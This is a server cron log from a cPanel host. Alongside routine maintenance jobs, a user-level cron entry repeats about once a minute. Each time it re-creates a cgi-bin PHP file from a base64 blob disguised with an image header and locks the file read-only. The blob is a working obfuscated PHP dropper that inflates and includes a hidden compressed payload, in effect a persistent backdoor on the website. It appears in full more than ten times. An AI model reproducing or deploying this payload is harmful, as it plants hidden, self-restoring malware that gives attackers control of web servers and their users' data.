Sep  9 10:01:01 server run-parts(/etc/cron.hourly)[9201]: starting 0anacron
Sep  9 10:01:01 server run-parts(/etc/cron.hourly)[9220]: finished 0anacron
Sep  9 10:02:01 server CROND[9587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:02:01 server CROND[9588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:02:01 server CROND[9589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:03:01 server CROND[9976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:03:01 server CROND[9977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:03:01 server CROND[9978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:04:01 server CROND[10419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:04:01 server CROND[10418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:04:01 server CROND[10420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:05:01 server CROND[10809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:05:01 server CROND[10811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:05:01 server CROND[10813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:05:01 server CROND[10814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:05:01 server CROND[10815]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:05:01 server CROND[10816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:05:01 server CROND[10817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:05:01 server CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:06:01 server CROND[11750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:06:01 server CROND[11751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:06:01 server CROND[11752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:07:01 server CROND[12132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:07:01 server CROND[12133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:07:01 server CROND[12131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:08:01 server CROND[12520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:08:01 server CROND[12521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:08:01 server CROND[12522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:09:01 server CROND[12899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:09:01 server CROND[12900]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 10:09:01 server CROND[12901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:09:01 server CROND[12902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:10:01 server CROND[13278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:10:01 server CROND[13279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:10:01 server CROND[13286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:10:01 server CROND[13285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:10:01 server CROND[13288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:10:01 server CROND[13287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:10:01 server CROND[13289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:10:01 server CROND[13297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:11:01 server CROND[14206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:11:01 server CROND[14207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:11:01 server CROND[14208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:12:01 server CROND[14578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:12:01 server CROND[14580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:12:01 server CROND[14579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:12:01 server CROND[14577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:13:01 server CROND[14948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:13:01 server CROND[14949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:13:01 server CROND[14950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:14:01 server CROND[15321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
